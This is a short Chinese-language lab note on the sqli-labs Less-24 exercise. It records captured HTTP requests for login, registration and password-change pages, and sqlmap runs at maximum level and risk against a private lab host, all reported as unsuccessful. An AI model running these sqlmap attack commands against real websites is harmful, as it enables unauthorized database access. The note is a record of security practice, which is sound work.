5.24.2.sqlmap自动注入

第一个：登录页面

（1）pb抓取http头

POST /sqli-labs/Less-24/login.php HTTP/1.1
Host: 192.168.10.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://192.168.10.106
Connection: keep-alive
Referer: http://192.168.10.106/sqli-labs/Less-24/
Cookie: PHPSESSID=gubl3g41j1400v89r2se01dc50
Upgrade-Insecure-Requests: 1
Priority: u=0, ilogin_user=admin&login_password=123456&mysubmit=Login

（2）sql.txt填入http头

vi sql.txt    

（3）跑当前数据库

sqlmap -r sql.txt --level 5 --risk 3 --thread="10" --batch --current-db

没跑出

第二个：注册页面

（1）pb抓取http头

POST /sqli-labs/Less-24/login_create.php HTTP/1.1
Host: 192.168.10.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://192.168.10.106
Connection: keep-alive
Referer: http://192.168.10.106/sqli-labs/Less-24/new_user.php
Cookie: PHPSESSID=gubl3g41j1400v89r2se01dc50
Upgrade-Insecure-Requests: 1
Priority: u=0, iusername=13819123456&password=123456&re_password=123456&submit=Register

（2）sql.txt填入http头

vi sql.txt    

（3）跑当前数据库

sqlmap -r sql.txt --level 5 --risk 3 --thread="10" --batch --current-db

没跑出

第三个：修改密码页面

（1）pb抓取http头

POST /sqli-labs/Less-24/pass_change.php HTTP/1.1
Host: 192.168.10.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://192.168.10.106
Connection: keep-alive
Referer: http://192.168.10.106/sqli-labs/Less-24/logged-in.php
Cookie: Auth=1; PHPSESSID=gubl3g41j1400v89r2se01dc50
Upgrade-Insecure-Requests: 1
Priority: u=0, icurrent_password=123456&password=12345678&re_password=12345678&submit=Reset

（2）sql.txt填入http头

vi sql.txt    

（3）跑当前数据库

sqlmap -r sql.txt --level 5 --risk 3 --thread="10" --batch --current-db

跑不出

三个页面都跑了很久，都没跑出...